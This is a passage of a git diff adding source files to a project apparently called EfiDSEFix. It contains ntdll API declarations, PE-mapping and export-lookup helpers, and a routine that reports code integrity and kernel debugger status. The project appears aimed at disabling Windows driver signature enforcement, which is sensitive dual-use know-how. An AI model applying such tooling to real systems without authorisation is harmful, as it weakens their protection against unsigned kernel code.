_Out_opt_ PULONG BackTraceHash + ); + +NTSYSAPI +VOID +NTAPI +RtlClearAllBits( + _In_ PRTL_BITMAP BitMapHeader + ); + +NTSYSAPI +VOID +NTAPI +RtlClearBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG NumberToClear + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateSystemVolumeInformationFolder( + _In_ PCUNICODE_STRING VolumeRootPath + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSAPI +LONG +NTAPI +RtlCompareAltitudes( + _In_ PCUNICODE_STRING Altitude1, + _In_ PCUNICODE_STRING Altitude2 + ); +#endif + +NTSYSAPI +LONG +NTAPI +RtlCompareUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +NTSYSAPI +ULONG32 +NTAPI +RtlComputeCrc32( + _In_ ULONG32 PartialCrc, + _In_ PVOID Buffer, + _In_ ULONG Length + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlConvertSidToUnicodeString( + _Inout_ PUNICODE_STRING UnicodeString, + _In_ PSID Sid, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +VOID +NTAPI +RtlCopyLuid( + _Out_ PLUID DestinationLuid, + _In_ PLUID SourceLuid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount, + _In_ ULONG SubAuthority0, + _In_ ULONG SubAuthority1, + _In_ ULONG SubAuthority2, + _In_ ULONG SubAuthority3, + _In_ ULONG SubAuthority4, + _In_ ULONG SubAuthority5, + _In_ ULONG SubAuthority6, + _In_ ULONG SubAuthority7, + _Outptr_ PSID *Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCopySid( + _In_ ULONG DestinationSidLength, + _Out_ PSID DestinationSid, + _In_ PSID SourceSid + ); + +NTSYSAPI +PVOID +NTAPI +RtlFreeSid( + _Inout_ PSID Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateAcl( + _Out_ PACL Acl, + _In_ ULONG AclLength, + _In_ ULONG AclRevision + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateAtomTable( + _In_ ULONG NumberOfBuckets, + _Out_ PVOID *AtomTableHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressFragment( + _In_ USHORT CompressionFormat, + _Out_ PUCHAR UncompressedFragment, + _In_ ULONG UncompressedFragmentSize, + _In_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ ULONG FragmentOffset, + _Out_ PULONG FinalUncompressedSize, + _In_ PVOID WorkSpace + ); + +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlDelete( + _In_ PRTL_SPLAY_LINKS Links + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteAce( + _Inout_ PACL Acl, + _In_ ULONG AceIndex + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteAtomFromAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom + ); + +NTSYSAPI +VOID +NTAPI +RtlDeleteNoSplay( + _In_ PRTL_SPLAY_LINKS Links, + _Inout_ PRTL_SPLAY_LINKS *Root + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDowncaseUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + _In_ ULONG Flags, + _In_ UNICODE_STRING *StringIn, + _Out_ UNICODE_STRING *StringOut + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlEmptyAtomTable( + _In_ PVOID AtomTableHandle, + _In_ BOOLEAN IncludePinnedAtoms + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualSid( + _In_ PSID Sid1, + _In_ PSID Sid2 + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualString( + _In_ PANSI_STRING String1, + _In_ PANSI_STRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +NTSYSAPI +ULONG +NTAPI +RtlFindClearBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex + ); + +NTSYSAPI +ULONG +NTAPI +RtlFindClearBitsAndSet( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex + ); + +NTSYSAPI +ULONG +NTAPI +RtlFindClearRuns( + _In_ PRTL_BITMAP BitMapHeader, + _Out_ PRTL_BITMAP_RUN RunArray, + _In_ ULONG SizeOfRunArray, + _In_ BOOLEAN LocateLongestRuns + ); + +NTSYSAPI +ULONG +NTAPI +RtlFindLastBackwardRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG FromIndex, + _In_ PULONG StartingRunIndex + ); + +NTSYSAPI +CCHAR +NTAPI +RtlFindLeastSignificantBit( + _In_ ULONGLONG Set + ); + +NTSYSAPI +ULONG +NTAPI +RtlFindLongestRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ PULONG StartingIndex + ); + +NTSYSAPI +CCHAR +NTAPI +RtlFindMostSignificantBit( + _In_ ULONGLONG Set + ); + +NTSYSAPI +ULONG +NTAPI +RtlFindNextForwardRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG FromIndex, + _In_ PULONG StartingRunIndex + ); + +NTSYSAPI +ULONG +NTAPI +RtlFindSetBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex + ); + +NTSYSAPI +ULONG +NTAPI +RtlFindSetBitsAndClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex + ); + +NTSYSAPI +VOID +NTAPI +RtlGetCallersAddress( + _Out_ PVOID *CallersAddress, + _Out_ PVOID *CallersCaller + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetDaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN DaclPresent, + _Out_ PACL *Dacl, + _Out_ PBOOLEAN DaclDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetGroupSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Group, + _Out_ PBOOLEAN GroupDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetOwnerSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Owner, + _Out_ PBOOLEAN OwnerDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN SaclPresent, + _Out_ PACL *Sacl, + _Out_ PBOOLEAN SaclDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSetBootStatusData( + _In_ HANDLE Handle, + _In_ BOOLEAN Get, + _In_ RTL_BSD_ITEM_TYPE DataItem, + _In_ PVOID DataBuffer, + _In_ ULONG DataBufferLength, + _Out_opt_ PULONG ByteRead + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateBootStatusDataFile( + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetVersion( + _Out_ PRTL_OSVERSIONINFOW lpVersionInformation + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGUIDFromString( + _In_ PUNICODE_STRING GuidString, + _Out_ GUID* Guid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlHashUnicodeString( + _In_ UNICODE_STRING *String, + _In_ BOOLEAN CaseInSensitive, + _In_ ULONG HashAlgorithm, + _Out_ PULONG HashValue + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeSid( + _Out_ PSID Sid, + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount + ); + +NTSYSAPI +ULONG +NTAPI +RtlLengthRequiredSid( + _In_ ULONG SubAuthorityCount + ); + +NTSYSAPI +ULONG +NTAPI +RtlLengthSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +NTSYSAPI +ULONG +NTAPI +RtlLengthSid( + _In_ PSID Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLockBootStatusData( + _Out_ PHANDLE BootStatusDataHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLookupAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ PWSTR AtomName, + _Out_opt_ PRTL_ATOM Atom + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlMapSecurityErrorToNtStatus( + _In_ SECURITY_STATUS Error + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlMultiByteToUnicodeN( + _Out_ PWCH UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_opt_ PULONG BytesInUnicodeString, + _In_ PCSTR MultiByteString, + _In_ ULONG BytesInMultiByteString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlMultiByteToUnicodeSize( + _Out_ PULONG BytesInUnicodeString, + _In_ PCSTR MultiByteString, + _In_ ULONG BytesInMultiByteString + ); + +NTSYSAPI +ULONG +NTAPI +RtlNumberOfClearBits( + _In_ PRTL_BITMAP BitMapHeader + ); + +NTSYSAPI +ULONG +NTAPI +RtlNumberOfSetBits( + _In_ PRTL_BITMAP BitMapHeader + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom, + _Out_opt_ PULONG AtomUsage, + _Out_opt_ PULONG AtomFlags, + _Inout_opt_ PWSTR AtomName, + _Inout_opt_ PULONG AtomNameLength + ); + +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlRealPredecessor( + _In_ PRTL_SPLAY_LINKS Links + ); + +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlRealSuccessor( + _In_ PRTL_SPLAY_LINKS Links + ); + +NTSYSAPI +VOID +NTAPI +RtlRunDecodeUnicodeString( + _In_ UCHAR Seed, + _Inout_ PUNICODE_STRING String + ); + +NTSYSAPI +VOID +NTAPI +RtlRunEncodeUnicodeString( + _In_opt_ PUCHAR Seed, + _Inout_ PUNICODE_STRING String + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD( + _In_ PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + _Inout_ PULONG AbsoluteSecurityDescriptorSize, + _Out_ PACL Dacl, + _Inout_ PULONG DaclSize, + _Out_ PACL Sacl, + _Inout_ PULONG SaclSize, + _Out_opt_ PSID Owner, + _Inout_ PULONG OwnerSize, + _Out_opt_ PSID PrimaryGroup, + _Inout_ PULONG PrimaryGroupSize + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSelfRelativeToAbsoluteSD2( + _Inout_ PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor, + _Inout_ PULONG pBufferSize + ); + +NTSYSAPI +VOID +NTAPI +RtlSetAllBits( + _In_ PRTL_BITMAP BitMapHeader + ); + +NTSYSAPI +VOID +NTAPI +RtlSetBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG NumberToSet + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ BOOLEAN DaclPresent, + _In_opt_ PACL Dacl, + _In_ BOOLEAN DaclDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetGroupSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID Group, + _In_opt_ BOOLEAN GroupDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor( + _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID Owner, + _In_ BOOLEAN OwnerDefaulted + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ BOOLEAN SaclPresent, + _In_opt_ PACL Sacl, + _In_opt_ BOOLEAN SaclDefaulted + ); + +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlSplay( + _Inout_ PRTL_SPLAY_LINKS Links + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlStringFromGUID( + _In_ REFGUID Guid, + _Out_ PUNICODE_STRING GuidString + ); + +NTSYSAPI +PUCHAR +NTAPI +RtlSubAuthorityCountSid( + _In_ PSID Sid + ); + +NTSYSAPI +PULONG +NTAPI +RtlSubAuthoritySid( + _In_ PSID Sid, + _In_ ULONG SubAuthority + ); + +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreePredecessor( + _In_ PRTL_SPLAY_LINKS Links + ); + +NTSYSAPI +PRTL_SPLAY_LINKS +NTAPI +RtlSubtreeSuccessor( + _In_ PRTL_SPLAY_LINKS Links + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSAPI +BOOLEAN +NTAPI +RtlTestBit( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG BitNumber + ); +#endif + +NTSYSAPI +VOID +NTAPI +RtlUnlockBootStatusData( + _In_ HANDLE BootStatusDataHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor( + _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Revision + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidRelativeSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptorInput, + _In_ ULONG SecurityDescriptorLength, + _In_ SECURITY_INFORMATION RequiredInformation + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidSid( + _In_ PSID Sid + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlVerifyVersionInfo( + _In_ RTL_OSVERSIONINFOEXW VersionInfo, + _In_ ULONG TypeMask, + _In_ ULONGLONG ConditionMask + ); + +NTSYSAPI +ULONGLONG +NTAPI +VerSetConditionMask( + _In_ ULONGLONG ConditionMask, + _In_ ULONG TypeMask, + _In_ UCHAR Condition + ); + +#if NTDDI_VERSION >= NTDDI_VISTA +NTSYSAPI +NTSTATUS +NTAPI +TpAllocPool( + _Out_ PTP_POOL *PoolReturn, + _Reserved_ PVOID Reserved + ); + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSAPI +NTSTATUS +NTAPI +TpDisablePoolCallbackChecks( + _Inout_ PTP_POOL Pool + ); +#endif + +NTSYSAPI +VOID +NTAPI +TpReleasePool( + _Inout_ PTP_POOL Pool + ); + +NTSYSAPI +VOID +NTAPI +TpSetPoolMaxThreads( + _Inout_ PTP_POOL Pool, + _In_ LONG MaxThreads + ); + +NTSYSAPI +NTSTATUS +NTAPI +TpSetPoolMinThreads( + _Inout_ PTP_POOL Pool, + _In_ LONG MinThreads + ); + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSAPI +NTSTATUS +NTAPI +TpQueryPoolStackInformation( + _In_ PTP_POOL Pool, + _Out_ PTP_POOL_STACK_INFORMATION PoolStackInformation + ); + +NTSYSAPI +NTSTATUS +NTAPI +TpSetPoolStackInformation( + _Inout_ PTP_POOL Pool, + _In_ PTP_POOL_STACK_INFORMATION PoolStackInformation + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +TpAllocCleanupGroup( + _Out_ PTP_CLEANUP_GROUP *CleanupGroupReturn + ); + +NTSYSAPI +VOID +NTAPI +TpReleaseCleanupGroup( + _Inout_ PTP_CLEANUP_GROUP CleanupGroup + ); + +NTSYSAPI +VOID +NTAPI +TpReleaseCleanupGroupMembers( + _Inout_ PTP_CLEANUP_GROUP CleanupGroup, + _In_ LOGICAL CancelPendingCallbacks, + _Inout_opt_ PVOID CleanupParameter + ); + +NTSYSAPI +NTSTATUS +NTAPI +TpSimpleTryPost( + _In_ PTP_SIMPLE_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +NTSYSAPI +NTSTATUS +NTAPI +TpAllocWork( + _Out_ PTP_WORK *WorkReturn, + _In_ PTP_WORK_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +NTSYSAPI +VOID +NTAPI +TpReleaseWork( + _Inout_ PTP_WORK Work + ); + +NTSYSAPI +VOID +NTAPI +TpPostWork( + _Inout_ PTP_WORK Work + ); + +NTSYSAPI +VOID +NTAPI +TpWaitForWork( + _Inout_ PTP_WORK Work, + _In_ LOGICAL CancelPendingCallbacks + ); + +NTSYSAPI +NTSTATUS +NTAPI +TpAllocTimer( + _Out_ PTP_TIMER *Timer, + _In_ PTP_TIMER_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +NTSYSAPI +VOID +NTAPI +TpReleaseTimer( + _Inout_ PTP_TIMER Timer + ); + +NTSYSAPI +VOID +NTAPI +TpSetTimer( + _Inout_ PTP_TIMER Timer, + _In_opt_ PLARGE_INTEGER DueTime, + _In_ LONG Period, + _In_opt_ LONG WindowLength + ); + +NTSYSAPI +LOGICAL +NTAPI +TpIsTimerSet( + _In_ PTP_TIMER Timer + ); + +NTSYSAPI +VOID +NTAPI +TpWaitForTimer( + _Inout_ PTP_TIMER Timer, + _In_ LOGICAL CancelPendingCallbacks + ); + +NTSYSAPI +NTSTATUS +NTAPI +TpAllocWait( + _Out_ PTP_WAIT *WaitReturn, + _In_ PTP_WAIT_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +NTSYSAPI +VOID +NTAPI +TpReleaseWait( + _Inout_ PTP_WAIT Wait + ); + +NTSYSAPI +VOID +NTAPI +TpSetWait( + _Inout_ PTP_WAIT Wait, + _In_opt_ HANDLE Handle, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSAPI +NTSTATUS +NTAPI +TpAllocIoCompletion( + _Out_ PTP_IO *IoReturn, + _In_ HANDLE File, + _In_ PTP_IO_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +NTSYSAPI +VOID +NTAPI +TpWaitForIoCompletion( + _Inout_ PTP_IO Io, + _In_ LOGICAL CancelPendingCallbacks + ); + +NTSYSAPI +NTSTATUS +NTAPI +TpAllocAlpcCompletion( + _Out_ PTP_ALPC *AlpcReturn, + _In_ HANDLE AlpcPort, + _In_ PTP_ALPC_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSAPI +NTSTATUS +NTAPI +TpAllocAlpcCompletionEx( + _Out_ PTP_ALPC *AlpcReturn, + _In_ HANDLE AlpcPort, + _In_ PTP_ALPC_CALLBACK_EX Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); +#endif + +NTSYSAPI +VOID +NTAPI +TpReleaseAlpcCompletion( + _Inout_ PTP_ALPC Alpc + ); + +NTSYSAPI +VOID +NTAPI +TpWaitForAlpcCompletion( + _Inout_ PTP_ALPC Alpc + ); +#endif + +#if NTDDI_VERSION >= NTDDI_WIN7 +NTSYSAPI +NTSTATUS +NTAPI +TpAlpcRegisterCompletionList( + _Inout_ PTP_ALPC Alpc + ); + +NTSYSAPI +NTSTATUS +NTAPI +TpAlpcUnregisterCompletionList( + _Inout_ PTP_ALPC Alpc + ); +#endif + +#ifdef __cplusplus +} +#endif + +#endif // _NTDLL_H diff --git a/Application/EfiDSEFix/src/pe.cpp b/Application/EfiDSEFix/src/pe.cpp new file mode 100644 index 0000000..223de04 --- /dev/null +++ b/Application/EfiDSEFix/src/pe.cpp @@ -0,0 +1,165 @@ +#include "EfiDSEFix.h" +#include + +#define IMAGE32(NtHeaders) ((NtHeaders)->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) +#define IMAGE64(NtHeaders) ((NtHeaders)->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) + +#define HEADER_FIELD(NtHeaders, Field) (IMAGE64(NtHeaders) \ + ? ((PIMAGE_NT_HEADERS64)(NtHeaders))->OptionalHeader.Field \ + : ((PIMAGE_NT_HEADERS32)(NtHeaders))->OptionalHeader.Field) + +static +NTSTATUS +RtlOpenFile( + _Out_ PHANDLE FileHandle, + _In_ PCWCHAR Filename + ) +{ + *FileHandle = nullptr; + + UNICODE_STRING NtPath; + RTL_RELATIVE_NAME_U RelativeName; + NTSTATUS Status = RtlDosPathNameToRelativeNtPathName_U_WithStatus(const_cast(Filename), + &NtPath, + nullptr, + &RelativeName); + if (!NT_SUCCESS(Status)) + return Status; + + const BOOLEAN PathIsRelative = RelativeName.RelativeName.Length > 0; + OBJECT_ATTRIBUTES ObjectAttributes; + IO_STATUS_BLOCK IoStatusBlock; + InitializeObjectAttributes(&ObjectAttributes, + PathIsRelative ? &RelativeName.RelativeName : &NtPath, + OBJ_CASE_INSENSITIVE, + PathIsRelative ? RelativeName.ContainingDirectory : nullptr, + nullptr); + Status = NtCreateFile(FileHandle, + FILE_GENERIC_READ | SYNCHRONIZE, + &ObjectAttributes, + &IoStatusBlock, + nullptr, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ, + FILE_OPEN, + FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, + nullptr, + 0); + + RtlFreeHeap(RtlProcessHeap(), 0, NtPath.Buffer); + RtlReleaseRelativeName(&RelativeName); + + return Status; +} + +NTSTATUS +MapFileSectionView( + _In_ PCWCHAR Filename, + _Out_ PVOID *ImageBase, + _Out_ PSIZE_T ViewSize + ) +{ + *ImageBase = nullptr; + *ViewSize = 0; + + // Open the file + HANDLE FileHandle; + NTSTATUS Status = RtlOpenFile(&FileHandle, Filename); + if (!NT_SUCCESS(Status)) + { + Printf(L"NtCreateFile: 0x%08X\n", Status); + return Status; + } + + // Obtain a section handle + HANDLE SectionHandle; + Status = NtCreateSection(&SectionHandle, + STANDARD_RIGHTS_REQUIRED | SECTION_MAP_READ, + nullptr, + nullptr, + PAGE_READONLY, + SEC_IMAGE, + FileHandle); + if (!NT_SUCCESS(Status)) + { + Printf(L"NtCreateSection: 0x%08X\n", Status); + NtClose(FileHandle); + return Status; + } + + // Map a read only section view + Status = NtMapViewOfSection(SectionHandle, + NtCurrentProcess, + ImageBase, + 0, + 0, + nullptr, + ViewSize, + ViewUnmap, + 0, + PAGE_READONLY); + + if (Status == STATUS_IMAGE_NOT_AT_BASE) + Status = STATUS_SUCCESS; + if (!NT_SUCCESS(Status)) + Printf(L"NtMapViewOfSection: 0x%08X\n", Status); + + NtClose(SectionHandle); + NtClose(FileHandle); + + return Status; +} + +PVOID +GetProcedureAddress( + _In_ ULONG_PTR DllBase, + _In_ PCSTR RoutineName + ) +{ + // Find and verify PE headers + const PIMAGE_DOS_HEADER DosHeader = reinterpret_cast(DllBase); + if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE) + return nullptr; + const PIMAGE_NT_HEADERS NtHeaders = reinterpret_cast(DllBase + DosHeader->e_lfanew); + if (NtHeaders->Signature != IMAGE_NT_SIGNATURE) + return nullptr; + + // Get the export directory RVA and size + const PIMAGE_DATA_DIRECTORY ImageDirectories = HEADER_FIELD(NtHeaders, DataDirectory); + const ULONG ExportDirRva = ImageDirectories[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + const ULONG ExportDirSize = ImageDirectories[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; + + // Read the export directory + const PIMAGE_EXPORT_DIRECTORY ExportDirectory = reinterpret_cast(DllBase + ExportDirRva); + const PULONG AddressOfFunctions = reinterpret_cast(DllBase + ExportDirectory->AddressOfFunctions); + const PUSHORT AddressOfNameOrdinals = reinterpret_cast(DllBase + ExportDirectory->AddressOfNameOrdinals); + const PULONG AddressOfNames = reinterpret_cast(DllBase + ExportDirectory->AddressOfNames); + + // Look up the import name in the name table using a binary search + LONG Low = 0; + LONG Middle = 0; + LONG High = ExportDirectory->NumberOfNames - 1; + + while (High >= Low) + { + // Compute the next probe index and compare the import name + Middle = (Low + High) >> 1; + const LONG Result = strcmp(RoutineName, reinterpret_cast(DllBase + AddressOfNames[Middle])); + if (Result < 0) + High = Middle - 1; + else if (Result > 0) + Low = Middle + 1; + else + break; + } + + // If the high index is less than the low index, then a matching table entry + // was not found. Otherwise, get the ordinal number from the ordinal table + if (High < Low || Middle >= static_cast(ExportDirectory->NumberOfFunctions)) + return nullptr; + const ULONG FunctionRva = AddressOfFunctions[AddressOfNameOrdinals[Middle]]; + if (FunctionRva >= ExportDirRva && FunctionRva < ExportDirRva + ExportDirSize) + return nullptr; // Ignore forwarded exports + + return reinterpret_cast(DllBase + FunctionRva); +} diff --git a/Application/EfiDSEFix/src/resource.rc b/Application/EfiDSEFix/src/resource.rc new file mode 100644 index 0000000..b9bd3de --- /dev/null +++ b/Application/EfiDSEFix/src/resource.rc @@ -0,0 +1,19 @@ +// Microsoft Visual C++ generated resource script. +// +#include "winres.h" + +///////////////////////////////////////////////////////////////////////////// +// English (United States) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_NEU) +LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US + +///////////////////////////////////////////////////////////////////////////// +// +// Manifest +// +1 RT_MANIFEST "EfiDSEFix.exe.manifest" + + +#endif // English (United States) resources +///////////////////////////////////////////////////////////////////////////// diff --git a/Application/EfiDSEFix/src/sysinfo.cpp b/Application/EfiDSEFix/src/sysinfo.cpp new file mode 100644 index 0000000..25b751e --- /dev/null +++ b/Application/EfiDSEFix/src/sysinfo.cpp @@ -0,0 +1,114 @@ +#include "EfiDSEFix.h" +#include + +NTSTATUS +DumpSystemInformation( + ) +{ + SYSTEM_BOOT_ENVIRONMENT_INFORMATION BootInfo = { 0 }; + NTSTATUS Status = NtQuerySystemInformation(SystemBootEnvironmentInformation, + &BootInfo, + sizeof(BootInfo), + nullptr); + if (!NT_SUCCESS(Status)) + Printf(L"SystemBootEnvironmentInformation: error %08X\n\n", Status); + else + { + Printf(L"SystemBootEnvironmentInformation:\n\t- BootIdentifier: "); + PrintGuid(BootInfo.BootIdentifier); + Printf(L"\n\t- FirmwareType: %s\n\t- BootFlags: 0x%llX\n\n", + (BootInfo.FirmwareType == FirmwareTypeUefi ? L"UEFI" : L"BIOS"), BootInfo.BootFlags); + } + + ULONG Size = 0; + Status = NtQuerySystemInformation(SystemModuleInformation, + nullptr, + 0, + &Size); + if (Status != STATUS_INFO_LENGTH_MISMATCH) + Printf(L"SystemModuleInformation: %08X\n\n", Status); + else + { + const PRTL_PROCESS_MODULES ModuleInfo = static_cast( + RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, 2 * static_cast(Size))); + Status = NtQuerySystemInformation(SystemModuleInformation, + ModuleInfo, + 2 * Size, + nullptr); + if (!NT_SUCCESS(Status)) + Printf(L"SystemModuleInformation: %08X\n\n", Status); + else + { + const RTL_PROCESS_MODULE_INFORMATION Ntoskrnl = ModuleInfo->Modules[0]; + Printf(L"SystemModuleInformation:\n\t- Kernel: %S (%S)\n\n", + reinterpret_cast(Ntoskrnl.FullPathName + Ntoskrnl.OffsetToFileName), + reinterpret_cast(Ntoskrnl.FullPathName)); + } + RtlFreeHeap(RtlProcessHeap(), 0, ModuleInfo); + } + + SYSTEM_CODEINTEGRITY_INFORMATION CodeIntegrityInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) }; + Status = NtQuerySystemInformation(SystemCodeIntegrityInformation, + &CodeIntegrityInfo, + sizeof(CodeIntegrityInfo), + nullptr); + if (!NT_SUCCESS(Status)) + Printf(L"SystemCodeIntegrityInformation: error %08X\n\n", Status); + else + Printf(L"SystemCodeIntegrityInformation:\n\t- IntegrityOptions: 0x%04X\n\n", + CodeIntegrityInfo.CodeIntegrityOptions); + + SYSTEM_KERNEL_DEBUGGER_INFORMATION KernelDebuggerInfo = { 0 }; + Status = NtQuerySystemInformation(SystemKernelDebuggerInformation, + &KernelDebuggerInfo, + sizeof(KernelDebuggerInfo), + nullptr); + if (!NT_SUCCESS(Status)) + Printf(L"SystemKernelDebuggerInformation: error %08X\n\n", Status); + else + Printf(L"SystemKernelDebuggerInformation:\n\t- KernelDebuggerEnabled: %u\n\t- KernelDebuggerNotPresent: %u\n\n", + KernelDebuggerInfo.KernelDebuggerEnabled, KernelDebuggerInfo.KernelDebuggerNotPresent); + + if ((RtlNtMajorVersion() >= 6 && RtlNtMinorVersion() >= 3) || RtlNtMajorVersion() > 6) + { + 